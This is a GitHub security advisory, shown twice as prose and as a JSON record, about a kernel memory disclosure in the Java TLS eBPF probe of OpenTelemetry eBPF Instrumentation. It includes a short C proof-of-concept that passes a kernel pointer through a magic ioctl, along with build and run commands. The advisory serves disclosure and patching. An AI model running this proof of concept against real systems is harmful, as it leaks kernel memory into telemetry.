GHSA-FJQ3-FFVR-VM46
Vulnerability from github – Published: 2026-05-18 20:12 – Updated: 2026-05-18 20:12Summary
The Java TLS ioctl probe reads user-controlled ioctl pointers with bpf_probe_read instead of bpf_probe_read_user. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.
Details
The vulnerable path is in bpf/generictracer/java_tls.c. The kprobe hooks do_vfs_ioctl, filters on fd == 0 and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using bpf_probe_read, including:
- the operation byte from
arg - connection metadata from
arg + 1 - the payload length from
arg + 1 + sizeof(connection_info_t)
If len > 0, it computes buf = arg + 1 + sizeof(connection_info_t) + sizeof(u32) and passes that pointer into handle_buf_with_connection.
The next stage, bpf/generictracer/k_tracer_defs.h, uses bpf_probe_read(args->small_buf, MIN_HTTP2_SIZE, (void *)args->u_buf); on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from u_buf and emits the bytes through bpf_ringbuf_output in bpf/generictracer/protocol_http.h.
Because the ioctl pointer originates in user space, the probe should be using bpf_probe_read_user with strict length validation. Using bpf_probe_read instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.
PoC
A complete lab reproduction requires:
- a vulnerable build of OBI with Java TLS instrumentation enabled
- a host capable of loading the BPF program
- a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer
Suggested reproduction steps:
git checkout v0.0.0-rc.1+build
make build
sudo ./bin/obi
Then run a local helper that issues the matching ioctl command against fd=0 and supplies a crafted pointer.
// save as /tmp/ioctl_kernel_ptr.c
#include <stdio.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define JAVA_TLS_MAGIC 0x0b10b1
int main(void) {
void *ptr = (void *)0xffff888000000000ULL;
long rc = ioctl(0, JAVA_TLS_MAGIC, ptr);
printf("ioctl rc=%ld\n", rc);
return 0;
}
Compile and run:
cc -O2 -o /tmp/ioctl_kernel_ptr /tmp/ioctl_kernel_ptr.c
/tmp/ioctl_kernel_ptr
On a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.
Impact
This is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "go.opentelemetry.io/obi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45683"
],
"database_specific": {
"cwe_ids": [
"CWE-127",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:12:04Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nThe Java TLS ioctl probe reads user-controlled ioctl pointers with `bpf_probe_read` instead of `bpf_probe_read_user`. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.\n\n### Details\n\nThe vulnerable path is in [bpf/generictracer/java_tls.c](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/java_tls.c#L66-L163). The kprobe hooks `do_vfs_ioctl`, filters on `fd == 0` and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using `bpf_probe_read`, including:\n\n- the operation byte from `arg`\n- connection metadata from `arg + 1`\n- the payload length from `arg + 1 + sizeof(connection_info_t)`\n\nIf `len \u003e 0`, it computes `buf = arg + 1 + sizeof(connection_info_t) + sizeof(u32)` and passes that pointer into [`handle_buf_with_connection`](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k_tracer_defs.h#L67).\n\nThe next stage, [bpf/generictracer/k_tracer_defs.h](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k_tracer_defs.h#L62), uses [`bpf_probe_read(args-\u003esmall_buf, MIN_HTTP2_SIZE, (void *)args-\u003eu_buf);`](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k_tracer_defs.h#L62) on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from `u_buf` and emits the bytes through `bpf_ringbuf_output` in [bpf/generictracer/protocol_http.h](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/protocol_http.h#L477).\n\nBecause the ioctl pointer originates in user space, the probe should be using `bpf_probe_read_user` with strict length validation. Using `bpf_probe_read` instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.\n\n### PoC\n\nA complete lab reproduction requires:\n\n1. a vulnerable build of OBI with Java TLS instrumentation enabled\n2. a host capable of loading the BPF program\n3. a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer\n\nSuggested reproduction steps:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\nsudo ./bin/obi\n```\n\nThen run a local helper that issues the matching ioctl command against `fd=0` and supplies a crafted pointer.\n\n```c\n// save as /tmp/ioctl_kernel_ptr.c\n#include \u003cstdio.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cunistd.h\u003e\n\n#define JAVA_TLS_MAGIC 0x0b10b1\n\nint main(void) {\n void *ptr = (void *)0xffff888000000000ULL;\n long rc = ioctl(0, JAVA_TLS_MAGIC, ptr);\n printf(\"ioctl rc=%ld\\n\", rc);\n return 0;\n}\n```\n\nCompile and run:\n\n```bash\ncc -O2 -o /tmp/ioctl_kernel_ptr /tmp/ioctl_kernel_ptr.c\n/tmp/ioctl_kernel_ptr\n```\n\nOn a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.\n\n### Impact\n\nThis is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.",
"id": "GHSA-fjq3-ffvr-vm46",
"modified": "2026-05-18T20:12:04Z",
"published": "2026-05-18T20:12:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry eBPF Instrumentation: Java TLS ioctl kprobe allows kernel memory disclosure"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.